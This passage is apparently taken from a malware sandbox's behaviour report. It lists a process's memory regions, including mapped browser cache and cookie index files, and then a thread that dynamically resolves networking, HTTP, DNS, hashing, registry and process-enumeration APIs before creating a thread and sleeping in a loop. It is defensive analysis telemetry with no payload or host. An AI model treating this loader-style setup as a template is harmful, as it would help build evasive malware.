"pagefile_0x0000000000190000" filename = "" Region: id = 1484 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1485 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1486 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1487 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1488 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1489 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1490 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1491 start_va = 0x190000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1492 start_va = 0x1a0000 end_va = 0x1a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1493 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1494 start_va = 0x74a80000 end_va = 0x74a95fff entry_point = 0x74a82dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1495 start_va = 0x190000 end_va = 0x1cbfff entry_point = 0x19128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1496 start_va = 0x190000 end_va = 0x1cbfff entry_point = 0x19128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1497 start_va = 0x190000 end_va = 0x1cbfff entry_point = 0x19128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1498 start_va = 0x190000 end_va = 0x1cbfff entry_point = 0x19128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1499 start_va = 0x190000 end_va = 0x1cbfff entry_point = 0x19128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1500 start_va = 0x74a40000 end_va = 0x74a7afff entry_point = 0x74a4128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1501 start_va = 0x190000 end_va = 0x191fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1502 start_va = 0x74cb0000 end_va = 0x74e4dfff entry_point = 0x74cde6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1503 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x1a0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1504 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1505 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1506 start_va = 0x751e0000 end_va = 0x751eafff entry_point = 0x751e1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1507 start_va = 0x1c0000 end_va = 0x1d3fff entry_point = 0x1c0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1508 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x1e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1509 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x230000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1510 start_va = 0x75230000 end_va = 0x7524bfff entry_point = 0x7523a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1511 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x7522128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1512 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1513 start_va = 0x24a0000 end_va = 0x24dffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 1514 start_va = 0x2650000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 1515 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1516 start_va = 0x74c00000 end_va = 0x74c51fff entry_point = 0x74c014be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 1517 start_va = 0x75190000 end_va = 0x751a4fff entry_point = 0x751912de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 1518 start_va = 0x75180000 end_va = 0x7518cfff entry_point = 0x75181326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 1519 start_va = 0x2f0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1520 start_va = 0x2550000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1521 start_va = 0x29a0000 end_va = 0x29dffff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 1522 start_va = 0x29f0000 end_va = 0x2a2ffff entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 1523 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1524 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1525 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1526 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 1527 start_va = 0x2a30000 end_va = 0x2b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 1528 start_va = 0x75170000 end_va = 0x75175fff entry_point = 0x7517125a region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 1529 start_va = 0x7a0000 end_va = 0x7dffff entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 1530 start_va = 0x2b80000 end_va = 0x2bbffff entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 1531 start_va = 0x74bf0000 end_va = 0x74bfffff entry_point = 0x74bf38c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 1532 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1533 start_va = 0x2bc0000 end_va = 0x2d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 1534 start_va = 0x2590000 end_va = 0x263ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1535 start_va = 0x2bc0000 end_va = 0x2c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 1536 start_va = 0x2d90000 end_va = 0x2d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d90000" filename = "" Region: id = 1537 start_va = 0x74be0000 end_va = 0x74be5fff entry_point = 0x74be14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1538 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 1539 start_va = 0x2510000 end_va = 0x254ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1540 start_va = 0x2c90000 end_va = 0x2ccffff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 1541 start_va = 0x758e0000 end_va = 0x75962fff entry_point = 0x758e23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1542 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1543 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 1544 start_va = 0x74aa0000 end_va = 0x74af9fff entry_point = 0x74aa1f35 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 1545 start_va = 0x74a30000 end_va = 0x74a3dfff entry_point = 0x74a31235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 1546 start_va = 0x330000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1547 start_va = 0x25c0000 end_va = 0x25fffff entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 1548 start_va = 0x2630000 end_va = 0x263ffff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 1549 start_va = 0x74a20000 end_va = 0x74a27fff entry_point = 0x74a22ca6 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 1550 start_va = 0x74bd0000 end_va = 0x74bdffff entry_point = 0x74bd1526 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 1551 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1552 start_va = 0x74bb0000 end_va = 0x74bc1fff entry_point = 0x74bb18f2 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 1553 start_va = 0x74b70000 end_va = 0x74babfff entry_point = 0x74b7145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1554 start_va = 0x74b60000 end_va = 0x74b67fff entry_point = 0x74b6131e region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 1555 start_va = 0x74b50000 end_va = 0x74b54fff entry_point = 0x74b515df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 1556 start_va = 0x74b40000 end_va = 0x74b45fff entry_point = 0x74b41673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 1557 start_va = 0x74b00000 end_va = 0x74b37fff entry_point = 0x74b0990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1558 start_va = 0x380000 end_va = 0x380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1559 start_va = 0x2f40000 end_va = 0x2f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f40000" filename = "" Region: id = 1560 start_va = 0x751b0000 end_va = 0x751d0fff entry_point = 0x751b145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1561 start_va = 0x75f60000 end_va = 0x75fa4fff entry_point = 0x75f611e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1562 start_va = 0x74010000 end_va = 0x74018fff entry_point = 0x74011220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1563 start_va = 0x2f80000 end_va = 0x32c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002f80000" filename = "" Region: id = 1564 start_va = 0x710000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1565 start_va = 0x2da0000 end_va = 0x2ddffff entry_point = 0x0 region_type = private name = "private_0x0000000002da0000" filename = "" Region: id = 1566 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1574 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1575 start_va = 0x2cf0000 end_va = 0x2d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 1576 start_va = 0x2de0000 end_va = 0x2eedfff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 1577 start_va = 0x32f0000 end_va = 0x332ffff entry_point = 0x0 region_type = private name = "private_0x00000000032f0000" filename = "" Region: id = 1578 start_va = 0x3330000 end_va = 0x3658fff entry_point = 0x0 region_type = private name = "private_0x0000000003330000" filename = "" Region: id = 1579 start_va = 0x3660000 end_va = 0x375ffff entry_point = 0x0 region_type = private name = "private_0x0000000003660000" filename = "" Region: id = 1580 start_va = 0x3760000 end_va = 0x38c7fff entry_point = 0x0 region_type = private name = "private_0x0000000003760000" filename = "" Region: id = 1581 start_va = 0x38d0000 end_va = 0x3d05fff entry_point = 0x0 region_type = private name = "private_0x00000000038d0000" filename = "" Region: id = 1582 start_va = 0x3d10000 end_va = 0x3debfff entry_point = 0x0 region_type = private name = "private_0x0000000003d10000" filename = "" Region: id = 1583 start_va = 0x3e10000 end_va = 0x43b6fff entry_point = 0x0 region_type = private name = "private_0x0000000003e10000" filename = "" Region: id = 1584 start_va = 0x43c0000 end_va = 0x449cfff entry_point = 0x0 region_type = private name = "private_0x00000000043c0000" filename = "" Region: id = 1585 start_va = 0x44a0000 end_va = 0x46e2fff entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 1586 start_va = 0x46f0000 end_va = 0x4db8fff entry_point = 0x0 region_type = private name = "private_0x00000000046f0000" filename = "" Region: id = 1587 start_va = 0x4dc0000 end_va = 0x5a83fff entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 1588 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1589 start_va = 0x3a0000 end_va = 0x3a8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 1590 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1591 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1592 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1593 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1594 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1595 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1596 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1597 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1598 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1599 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1600 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1601 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1602 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1603 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1604 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1605 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1606 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1607 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1608 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1609 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1610 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1611 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1612 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1613 start_va = 0x2960000 end_va = 0x299bfff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 1961 start_va = 0x2bc0000 end_va = 0x2c2afff entry_point = 0x2bc30e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1962 start_va = 0x5a90000 end_va = 0x5af6fff entry_point = 0x5a90000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Thread: id = 47 os_tid = 0xa88 [0059.631] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x76dd0000 [0059.636] GetProcAddress (hModule=0x76dd0000, lpProcName=0x16) returned 0x76dd449d [0059.636] GetProcAddress (hModule=0x76dd0000, lpProcName=0xb) returned 0x76dd311b [0059.636] GetProcAddress (hModule=0x76dd0000, lpProcName=0x73) returned 0x76dd3ab2 [0059.636] GetProcAddress (hModule=0x76dd0000, lpProcName="freeaddrinfo") returned 0x76dd4b1b [0059.636] GetProcAddress (hModule=0x76dd0000, lpProcName="getaddrinfo") returned 0x76dd4296 [0059.637] GetProcAddress (hModule=0x76dd0000, lpProcName=0x3) returned 0x76dd3918 [0059.637] GetProcAddress (hModule=0x76dd0000, lpProcName=0x4) returned 0x76dd6bdd [0059.637] GetProcAddress (hModule=0x76dd0000, lpProcName=0x17) returned 0x76dd3eb8 [0059.637] GetProcAddress (hModule=0x76dd0000, lpProcName=0xc) returned 0x76ddb131 [0059.637] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74c60000 [0059.639] GetProcAddress (hModule=0x74c60000, lpProcName="DnsQuery_A") returned 0x74c8a9bc [0059.639] GetProcAddress (hModule=0x74c60000, lpProcName="DnsFree") returned 0x74c6436b [0059.639] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x76e10000 [0059.647] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteUrlCacheEntryA") returned 0x76e559e8 [0059.647] GetProcAddress (hModule=0x76e10000, lpProcName="InternetReadFile") returned 0x76e2b406 [0059.647] GetProcAddress (hModule=0x76e10000, lpProcName="HttpQueryInfoA") returned 0x76e2a33e [0059.647] GetProcAddress (hModule=0x76e10000, lpProcName="InternetQueryOptionW") returned 0x76e27ed7 [0059.647] GetProcAddress (hModule=0x76e10000, lpProcName="InternetSetOptionW") returned 0x76e27741 [0059.647] GetProcAddress (hModule=0x76e10000, lpProcName="HttpOpenRequestA") returned 0x76e34c7d [0059.648] GetProcAddress (hModule=0x76e10000, lpProcName="HttpSendRequestA") returned 0x76ea18f8 [0059.648] GetProcAddress (hModule=0x76e10000, lpProcName="InternetQueryOptionA") returned 0x76e21b56 [0059.648] GetProcAddress (hModule=0x76e10000, lpProcName="InternetConnectA") returned 0x76e349e9 [0059.648] GetProcAddress (hModule=0x76e10000, lpProcName="InternetCloseHandle") returned 0x76e2ab49 [0059.648] GetProcAddress (hModule=0x76e10000, lpProcName="InternetSetOptionA") returned 0x76e275e8 [0059.648] GetProcAddress (hModule=0x76e10000, lpProcName="InternetOpenA") returned 0x76e3f18e [0059.648] GetProcAddress (hModule=0x76e10000, lpProcName="InternetCrackUrlA") returned 0x76e1d075 [0059.648] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75dc0000 [0059.648] GetProcAddress (hModule=0x75dc0000, lpProcName="MultiByteToWideChar") returned 0x75dd192e [0059.648] GetProcAddress (hModule=0x75dc0000, lpProcName="LocalFree") returned 0x75dd2d3c [0059.648] GetProcAddress (hModule=0x75dc0000, lpProcName="LocalAlloc") returned 0x75dd168c [0059.648] GetProcAddress (hModule=0x75dc0000, lpProcName="ExitProcess") returned 0x75dd7a10 [0059.648] GetProcAddress (hModule=0x75dc0000, lpProcName="Sleep") returned 0x75dd10ff [0059.648] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateThread") returned 0x75dd34d5 [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseHandle") returned 0x75dd1410 [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x75df735f [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32FirstW") returned 0x75df8baf [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentProcessId") returned 0x75dd11f8 [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentProcess") returned 0x75dd1809 [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateFileW") returned 0x75dd3f5c [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="ReadFile") returned 0x75dd3ed3 [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="FlushFileBuffers") returned 0x75dd469b [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="WriteFile") returned 0x75dd1282 [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTickCount") returned 0x75dd110c [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="SetFileAttributesW") returned 0x75ded4f7 [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="DeleteFileW") returned 0x75dd89b3 [0059.649] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualAlloc") returned 0x75dd1856 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualFree") returned 0x75dd186e [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileSizeEx") returned 0x75dd59e2 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="WaitForSingleObject") returned 0x75dd1136 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="GetProcessHeap") returned 0x75dd14e9 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapFree") returned 0x75dd14c9 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapReAlloc") returned 0x77761f6e [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapAlloc") returned 0x7774e026 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="GetProcAddress") returned 0x75dd1222 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="LoadLibraryA") returned 0x75dd49d7 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="OutputDebugStringA") returned 0x75dfb2b7 [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32NextW") returned 0x75df896c [0059.650] GetProcAddress (hModule=0x75dc0000, lpProcName="FreeLibrary") returned 0x75dd34c8 [0059.650] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x757e0000 [0059.650] GetProcAddress (hModule=0x757e0000, lpProcName="MessageBoxA") returned 0x7584fd1e [0059.650] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77280000 [0059.651] GetProcAddress (hModule=0x77280000, lpProcName="RegOpenKeyExA") returned 0x77294907 [0059.651] GetProcAddress (hModule=0x77280000, lpProcName="RegQueryValueExA") returned 0x772948ef [0059.651] GetProcAddress (hModule=0x77280000, lpProcName="CryptAcquireContextW") returned 0x7728df14 [0059.651] GetProcAddress (hModule=0x77280000, lpProcName="CryptReleaseContext") returned 0x7728e124 [0059.651] GetProcAddress (hModule=0x77280000, lpProcName="CryptDestroyHash") returned 0x7728df66 [0059.651] GetProcAddress (hModule=0x77280000, lpProcName="CryptCreateHash") returned 0x7728df4e [0059.651] GetProcAddress (hModule=0x77280000, lpProcName="CryptHashData") returned 0x7728df36 [0059.651] GetProcAddress (hModule=0x77280000, lpProcName="CryptGetHashParam") returned 0x7728df7e [0059.651] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fe0000 [0059.651] GetProcAddress (hModule=0x75fe0000, lpProcName="SHGetFolderPathW") returned 0x76065708 [0059.652] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76f10000 [0059.652] GetProcAddress (hModule=0x76f10000, lpProcName="wvnsprintfA") returned 0x76f3edfe [0059.652] GetProcAddress (hModule=0x76f10000, lpProcName="wvnsprintfW") returned 0x76f5066c [0059.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x71ff3, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec [0059.653] Sleep (dwMilliseconds=0x3e8) [0060.661] Sleep (dwMilliseconds=0x3e8) [0061.674] Sleep (dwMilliseconds=0x3e8) [0062.689] Sleep (dwMilliseconds=0x3e8) [0063.703] Sleep (dwMilliseconds=0x3e8) 